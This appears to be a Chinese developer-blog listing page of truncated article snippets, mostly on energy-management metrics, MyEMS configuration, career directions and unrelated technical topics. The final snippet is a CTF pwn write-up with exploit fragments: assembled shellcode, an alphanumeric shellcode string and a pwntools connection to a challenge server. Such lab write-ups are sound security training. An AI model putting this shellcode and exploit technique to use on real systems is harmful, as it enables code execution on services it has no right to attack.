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能源管理模式数字化，引导未来能源服务新方向！
但是我国能源结构在长期发展中存在：各能源不能按比例协调发展、统计数据跟不上形势发展、难以进行准确的生产和消费统计、信息失真等问题。严重影响能源宏观决策与之后接入国际能源市场的安全性。 诸多数据表明了，综合能源管理改变了能源使用节奏，也为该区域带来了新的发展活力。[u2] 校园“城市”的综合能源管控系统 最初，学校对于节能要求比较简单。 而综合能源管控系统能做到精准调配资源，可以规避这种情况发生。 u.gif 区域能源管理也为智慧城市增添了新思路，使得综合能源服务拥有更多展现方式。 社会价值与经济效益双实现 当社会每一个环节的能源管理体系都得到完善，才会自下而上的形成一套国家的综合能源管控体系，进而完善国家的能源管理。由此以充分的力量来应对来自世界能源市场的压力。 从小层面来讲，综合能源管控可视化系统实现了企业或者机构的降本增效的发展目标。从大方向来讲，综合能源管理是国家能源管理的重要部分。
2K30发布于 2020-07-15 - 来自专栏用户8186044的专栏
能源领域相关指标2：能源消耗总量【实际应用】
1.能源消费总量是反映一个地区能源消费水平、构成和增长速度。 注：在"双碳"背景下，能源消费总量指标应用相对能源生产总量指标价值和意义更大更重要。 2.单纯指标应用：可视化场景应用中，单独展示某地区某年能源消费总量历史数据比单独展示能源生产总量更有价值，毕竟国家对各地方能耗双控、碳排放双控是有相应的考核指标的，每年的能源消费总量及强度是硬性指标。 图2：能源消费总量变化趋势示例图 2）历史及预测数据应用：图2展示了某地区近13年能源消费总量变化趋势。 图2展示的2010年-2022年能源消费总量，2010年-2020年数据为实际数据，2021年、2022年数据为预测数据，分别用不同颜色进行标识，方便用户观看和理解。 如果横轴是一年中1月-12月能源消费总量数据，该增速可以做成“能源消费总量月度环比增速”、“能源消费总量月度同比增速”、“能源消费总量月度累计值环比增速”、“能源消费总量月度累计值同比增速”。
1.1K20编辑于 2022-11-28 - 来自专栏云技术+云运维
能源行业数字化转型方向与人才培养
全球能源行业数字化转型的使命是实现敏捷能源。 化石能源清洁化，清洁能源规模化，多种能源综合化，终端能源再电气化趋势正加速演进，成为能源行业发展大趋势。 第二，数字技术推动油气类企业转型发展。 油气行业数字化转型聚焦生产、服务、技术、新业务、运营、人才生态七大重点方向，结合企业发展实际，挖掘数据驱动价值增值的关键点，布局未来。如下： 1、推进生产的智能化。 2、加强用户服务智能化创新。实现用户需求精准感知，加快线上营销渠道拓展和线下营销渠道的数字化改造，形成广覆盖、深触达的全时一体化营销网络。 2、扩张转型。利用在本领域内打造的一些优势，侵入或扩散到临近业务或者行业中去，从而达到扩展业务领域、获取新价值的目的。
1.7K20编辑于 2022-01-12 - 来自专栏万物皆可联
能源变革史 | 人类文明只会“花式烧开水”？可视化带来发展新方向
人类进入了薪柴时代，能源就此拉开序幕。 化石能源时代，“烧开水“的第一步 2.jpg 1769年蒸汽机发明之后，低热值的木材已无法满足需求。 l 新时代的氢能源：首先通过电解或者化学反应获得氢气，再通过燃烧获得热能来推动机械运转或者转换成其他形式的能量。由此看来新能源依旧在“烧开水”。 从图中可以看出来，无论是从前、过去还是未来，大部分需要“烧开水”的化石能源依旧占据80%左右，可见能源发展仍摆脱不了烧开水的命运。 但不要小瞧烧开水这件事。 另辟蹊径，开拓能源发展新方向 纵使能源发展摆脱不了固有的能量转换方式，但还可以从管理或运维模式上借用科技的力量实现突破。 能源产业迎来新面貌 以基于hightopo的轻量可视化为例，展现能源产业新方向。得益于5G与物联网的成熟，能源产业迎来了新发展方向。
1.6K30发布于 2020-07-20 开源能源管理系统的五大进化方向：从工具到生态的范式转移
在全球能源结构向清洁化加速转型、双碳政策持续深化的背景下，能源管理已从企业运营的 “成本控制环节” 升级为关乎可持续发展的 “核心竞争力要素”。 如今，随着技术融合的深化与应用场景的拓展，开源能源管理系统不再局限于单一的能耗监测功能，而是朝着全链路赋能、智能自主、生态协同的方向加速进化，催生能源管理领域的范式革命。 开源能源管理系统通过降低技术门槛，让中小企业、家庭等分散能源主体得以参与能源优化与电网互动。 这种协同模式不仅提升了能源利用效率，更重塑了能源权力结构。传统闭源系统下，只有大型能源企业能参与电网调度；而开源系统让中小企业甚至家庭用户能通过聚合平台分享调峰补贴、绿电收益。 结语：开源定义能源管理新未来开源能源管理系统的五大进化方向，本质上是技术创新与市场需求共同驱动的必然结果。
21310编辑于 2025-10-29- 来自专栏用户8186044的专栏
能源领域相关指标1：能源生产总量
一、能源生产总量 指标定义：指一定时期内全国一次能源生产量的总和。 注：关于能源生产总量最权威的解释应该是国家统计局官网。能源生产总量：指一定时期内，全国一次能源生产量的总和。 指标简介：这个定义里格外注意的是能源生产总量中的这个能源指的是一次能源，并非二次能源（一次能源加工转换后得到的能源产品，如火电、煤电、汽油、柴油、煤气等），一次能源经过加工转换会产生很多二次能源，这些二次能源种类太多 2）一次能源单位换算问题：我们知道统计局官网发布的一次能源生产总量及构成中，一次能源总体包括四大类：原煤、原油、天然气，水电、风电及光伏发电。 ”能源从其来源来讲分为一次能源和二次能源，一次能源是由自然界产生的，二次能源是由一次能源转换而来。二次能源在折算成标煤时有两个概念，一个是等价值，一个是当量值。 其中，规上企业能源生产总量基本占到95%以上，基本能够反映出地区能源生产总量，若是其他线下企业数据上报完整，这部分数据约占3%左右，剩下的2%也无所谓了。
1.6K30编辑于 2022-11-28 - 来自专栏数据科学与人工智能
【方向】开启您的数据科学方向
本文对数据科学众多方向进行简要描述，您不需要全部学习，只需要选择一个，从第一步开始执行，您将会学到更多东西。您不要犹豫应该选择那一个，这里没有错误的答案。您只需要挑选一个，开始投入建设即可。 2 数据科学老师 您是否总是向别人解释您的作业？ 您是否总是乐意向别人分享您的数据见解或者知识？ 数据科学老师可能适合您。 您可以采取一些不同的路径，一个是传统的大学教师方法，一个是更多的企业培训方向，这两个都可以。 8 数据科学独角兽 数据科学独角兽是一个知道以上所有的方向和更多的人。他们了解数据科学所有主题，不可能人人都成为独角兽，但少数人已经成为独角兽。 总结 选择一个方向，做出与众不同。 参考资料： 1 GETTING STARTED WITH DATA SCIENCE SPECIALTIES
1.3K40发布于 2018-02-28 - 来自专栏探索RPA
能源RPA丨RPA如何变革能源行业？
随着科技的发展，能源行业也开始通过使用大型信息化系统提升管理、全面创造价值。但单一、重复、繁琐的事务性工作仍依赖大量人工来完成。过高的人力成本、低下的业务效率，禁锢着企业未来的发展。 近年来，国际能源业正在发生变化。垄断逐渐被打破，新的市场进入者不断涌现，更多新能源（如太阳能和风能等替代能源）逐渐成为潮流，消费者的选择余地也相应变大。 为了保持市场地位，现有的能源供应商面临着提高服务质量的巨大压力。 [RPA如何变革能源行业] 当前能源业面临的痛点 企业成本较高。固定资本投入大，只有达到一定的生产规模之后才能分摊这些成本。 某大型能源公司的实际应用案例 某大型能源公司在分析当前形势后，选择应用RPA自动处理收到的客户请求，以帮助呼叫中心员工缩短回应客户的时间。 每年，该能源公司都要回复大约150万个客户请求。 如今，该能源公司正在用RPA改进其他业务。
92930发布于 2020-07-09 - 来自专栏话梅糖の网工笔记
网络方向、系统方向、安全方向以及当前职场的含金量认证
网络方向、系统方向、安全方向以及当前职场的含金量认证 网络方向、系统方向、安全方向以及当前职场的含金量认证，结合2025年最新行业趋势，以下分方向推荐高价值认证，并附上具体说明和适用场景： 一、网络方向认证 二、系统方向认证 红帽认证工程师（RHCE） 特点：专注于Linux系统管理与自动化运维，覆盖Shell脚本、服务配置等实战技能。 价值：Linux领域权威认证，尤其适合云计算和运维岗位。 三、安全方向认证 CISSP（注册信息系统安全专家） 特点：全球信息安全领域顶级认证，覆盖安全管理、风险控制等八大知识域。 价值：国际通用，尤其适合外企和高管岗位，年薪平均提升30%以上。 安全方向建议补充CTF实战经验，网络方向可模拟企业级组网实验。 成本与时间： 费用较高认证：CISSP（约1.5万）、CCIE（考试费超2万），建议根据职业规划分阶段报考。
91010编辑于 2025-03-03 - 来自专栏Android Camera开发
从零开发一款相机APP 第十一篇:Camera2预览方向、拍照方向设置
mp.weixin.qq.com/s/iubo96DRPNu8bPNJlnvIbg 1） Camera API1 我们可以通过setDisplayOrientation（int degress）来设置camera预览的方向 mCamera.setDisplayOrientation(Surface.ROTATION_180); 拍照方向，则是和setRotation有关。 mParameters.setRotation(rotation); 2) Camera API2 //设置拍照方向 captureBuilder.set(CaptureRequest.JPEG_ORIENTATION ,rotation); Camera2上，是没有接口直接设置预览方向的，所以，基本都是通过TextureView.setTransform(matrix) 接口来调整textureView的显示。
1.7K20编辑于 2022-12-20 MyEMS能源管理系统后台配置-能源费率管理
查看能源费率： 1.点击菜单“系统管理” 2.点击菜单“能源费率管理”图4-1能源费率列表添加能源费率： 1.点击菜单“系统管理” 2.点击菜单“能源费率管理” 3.点击“添加费率”按钮 4.在 图4-2添加能源费率编辑能源费率： 1.点击菜单“系统管理” 2.点击菜单“能源费率管理” 3.点击标签页“能源费率” 4.点击“修改”按钮 5.在“编辑费率”对话框中输入“名称”、“能源分类” 1.点击菜单“系统管理” 2.点击菜单“能源费率管理” 3.点击标签页“能源费率” 4.点击“删除”按钮 5.在“确认删除”对话框中点击“确认删除”按钮导入能源费率： 1.点击菜单“系统管理” 2.点击菜单“能源费率管理” 3.点击标签页“能源费率” 4.点击“导入”按钮 5.将数据输入至对话框中 6.点击“导入”按钮图4-4导入费率导出能源费率： 1.点击菜单“系统管理” 2.点击菜单 “能源费率管理” 3.点击标签页“能源费率” 4.点击“导出”按钮克隆能源费率： 1.点击菜单“系统管理” 2.点击菜单“能源费率管理” 3.点击标签页“能源费率” 4.点击“克隆”按钮MyEMS
23610编辑于 2025-05-20- 来自专栏hotarugaliの技术分享
方向余弦
定义 1.1 方向余弦 在解析几何里，一个向量的三个方向余弦分别是这向量与三个坐标轴之间的角度的余弦。 设 其中 、 、 是一组标准正交基的单位基底向量， 、 、 分别为 在 、 、 上的分量，则 对于 、 、 的方向余弦 、 两个向量间的方向余弦指的是这两个向量之间的角度的余弦。 1.2 方向余弦矩阵 方向余弦矩阵是由两组不同的标准正交基的基底向量之间的方向余弦所形成的矩阵。 方向余弦矩阵可以用来表达一组标准正交基与另一组标准正交基之间的关系，也可以用来表达一个向量对于另一组标准正交基的方向余弦。 2. 性质 α2+β2+γ2=1 \alpha^2 + \beta^2 + \gamma^2 = 1 α2+β2+γ2=1
2.1K30编辑于 2022-03-17 - 来自专栏网络技术联盟站
2万字精品！新能源风电厂WLAN方案 | 必收藏
如图中的标号2所示，客户端通过信道6向AP2发送关联请求，AP2使用关联响应做出应答，建立用户与AP2间的关联。 对于新能源风电厂而言，无线哑终端一般通过MAC认证接入，办公区域通过802.1x或Portal认证接入，访客区域一般通过Portal认证接入。 3.3.2 认证、安全集成方案 认证＋安全方案： 根据新能源的要求，对认证和安全要求较早，可通过准入控制＋安全检查，提升内网安全。 4 新能源WDS网桥无线数据回传与覆盖方案 WDS（Wireless Distribution System），通过无线链路连接两个或者多个独立的有线局域网或者无线局域网，组建一个互通的网络，实现数据访问 使用点对多点（P2MP）网桥时受隐藏终端和多用户竞争等因素影响，吞吐量将急剧下降；因此点对多点（P2MP）网桥吞吐量性能评估需在点对点（P2P）网桥数据基础上考虑吞吐量系数。
1.4K20发布于 2020-05-25 - 来自专栏图像处理与模式识别研究所
旋转方向
import cv2 import numpy as np o=cv2.imread('C:/Users/xpp/Desktop/coins.png')#原始图像 cv2.imshow("original ",o) gray=cv2.cvtColor(o,cv2.COLOR_BGR2GRAY)#将彩色图片转换为灰度图片 ret,binary=cv2.threshold(gray,127,255, cv2. THRESH_BINARY)#将灰度图片转换为二值图片 contours,hierarchy=cv2.findContours(binary,cv2.RETR_LIST,cv2.CHAIN_APPROX_SIMPLE MA, ma)=(",MA,ma,")") print("angle=",angle) cv2.ellipse(o,ellipse,(0,0,255),2) cv2.imshow("result",o) 62.23775100708008 ) (MA, ma)=( 103.79611206054688 110.34321594238281 ) angle= 80.08370208740234 算法：旋转方向是通过构造最优拟合椭圆来获取旋转方向信息
1.8K30编辑于 2022-05-28 - 来自专栏用户8186044的专栏
能源领域相关指标1：能源生产总量【实际应用】
1.能源生产总量反映某地区能源生产水平、规模、构成及发展速度。能源生产总量就是某地区一次能源生产总量，一次能源主要包括原煤、原油、天然气、一次电力及其他能源。 2.什么是一次电力？“一次电力”是指计入“一次能源”的电力。按照这个定义,“一次电力”是指核电、水电、风电以及太阳能发电所发出的电力。 图2：能源生产总量变化趋势示例图 2）历史及预测数据应用：图2展示了某地区近12年能源生产总量变化趋势，总体来说呈上升趋势。 图2展示的2011年-2022年能源生产总量，2011年-2020年数据为实际数据，2021年、2022年数据为预测数据，分别用不同颜色进行标识，方便用户观看和理解。 如果横轴是一年中1月-12月能源生产总量数据，该增速可以做成“能源生产总量月度环比增速”、“能源生产总量月度同比增速”、“能源生产总量月度累计值环比增速”、“能源生产总量月度累计值同比增速”。
1.1K10编辑于 2022-11-28 - 来自专栏sylan215 的软件测试技术学习
再谈软件测试工程师发展的 2 个方向
因为已经有一定的工作经验，所以这次我要谈到的 2 个方向，可以说是一个分叉口，分别是技术方向和管理方向。 一、技术方向 先来看看技术方向。 针对这部分同学，大部分应该更倾向于技术方向。 我这里说的技术方向，并不单纯的是指代码技术，我根据目前团队的情况，又继续细分了 4 个方向。 1. 通用环境治理。 2. 统一测试工具的支撑。 同样拿我们 windows 客户端测试举例，可以考虑提供当前业务适用的、频度高、效率好、实现简单、使用简单的测试工具。 好了，这就是我要说的技术方向的 4 个细分方向，这些方向都要求技术基础，在实际做的过程中，又可以不断加强自己的技术积累，是一个学习和实践相互促进的正循环。 二、管理方向 接着说下管理方向。 2. 团队协作。 管理的是人，就是一个团队，必须要充分发挥团队的力量，要能人尽其才，所以需要在不同时候，给予不同的安排和激励，特别是每个人的需求在不同的时候也会不同。
49520编辑于 2022-03-30 MyEMS能源管理系统后台配置-能源分类管理
2.点击菜单“能源分类管理” 3.点击标签页“能源分类”图2-1能源分类列表 添加能源分类： 1.点击菜单“系统管理” 2.点击菜单“能源分类管理” 3.点击标签页“能源分类” 4.点击“添加能源分类”按钮 5.在“添加能源分类”对话框中输入“名称”、“单位”、“标准煤系数”和“二氧化碳排放系数” 6.点击“保存”按钮 图2-2添加能源分类 编辑能源分类： 1.点击菜单 ”按钮图2-3编辑能源分类 删除能源分类： 1.点击菜单“系统管理” 2.点击菜单“能源分类管理” 3.点击标签页“能源分类” 4.点击“删除”按钮 5.在“确认删除”对话框中点击 查看能耗分项： 1.点击菜单“系统管理” 2.点击菜单“能源分类管理” 3.点击标签页“能耗分项”图2-4能耗分项列表 添加能耗分项： 1.点击菜单“系统管理” 2.点击菜单“能源分类管理 “能源分类” 6.点击“保存”按钮 图2-6编辑能耗分项 删除能耗分项： 1.点击菜单“系统管理” 2.点击菜单“能源分类管理” 3.点击标签页“能耗分项” 4.点击“删除”
28310编辑于 2025-05-19开源能源管理系统：解锁当下能源困局的关键力量
商业系统的功能升级往往需支付高额定制费，而 OEMS 用户可自主修改代码实现需求，某工业园区为适配峰谷电价政策，仅用 2 周就开发出错峰生产调度模块，无需依赖第三方支持。 MyEMS 的 “政策适配模块” 实时更新各省市补贴政策，“碳核算模块” 内置国标、欧盟等多套标准，自动计算 Scope 1 与 Scope 2 排放量并生成合规报告，某工厂借此将季度能耗报告生成时间从 2 天缩短至 10 分钟。 主流开源项目均形成了活跃的开发者生态，OpenEMS 社区每月更新 2-3 个版本，持续新增碳排放核算、微电网协同控制等功能；MyEMS 社区聚集数千名开发者，仅用 2 个月就响应企业需求开发出碳足迹追溯模块 MyEMS 在 GitHub 上积累超 5000 星标，用户遇到问题可通过论坛获得 1-2 天内的技术支持；OpenEMS 通过社区协作建立了完善的故障应急预案，显著降低系统停机风险。
22810编辑于 2025-10-28- 来自专栏决策智能与机器学习
微表情之研究方向︱机器视觉 | 团长讲CV | 2nd
本文总结了现有技术的一些问题和未来可能的研究方向。 （1）针对微表情的预处理技术 利用现有数据集的一个好处是可以直接在预处理好的图像上尝试新的算法, 减轻了预处理流程的压力。 （2）长视频中的微表情检测 目前很多研究工作基于现有的数据集, 而数据集中的图像序列已经预先进行了分割, 因此提出的算法只需要完成检测和分类两种模式识别的任务。 高效的方法总是受欢迎的, 有两种应用场景需要极端高效的处理算法: 1) 在嵌入式设备或者移动终端上, 只有非常高效的方法能胜任; 2)将识别算法部署在服务器上, 并以服务的方式向不同的终端提供, 则高效的算法意味着更少的硬件投入
1.1K11发布于 2020-08-04 - 来自专栏赤道企鹅的博客
Pwn方向writeup
= ''' xor rdi, rdi; mov edx, ecx; syscall; ''' shellcode_2 = asm(shellcode_2) print("len(shellcode_1):", hex(len(shellcode_1))) print(shellcode_1) print("len(shellcode_2): ", hex(len(shellcode_2))) print(shellcode_2) add(-offset, 8, shellcode_1) add(0, 8, shellcode build read alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F /libc.so.6 libseccomp.so.2"}) p = remote("39.105.130.158", 8888) libc = ELF(".
90520编辑于 2022-08-01
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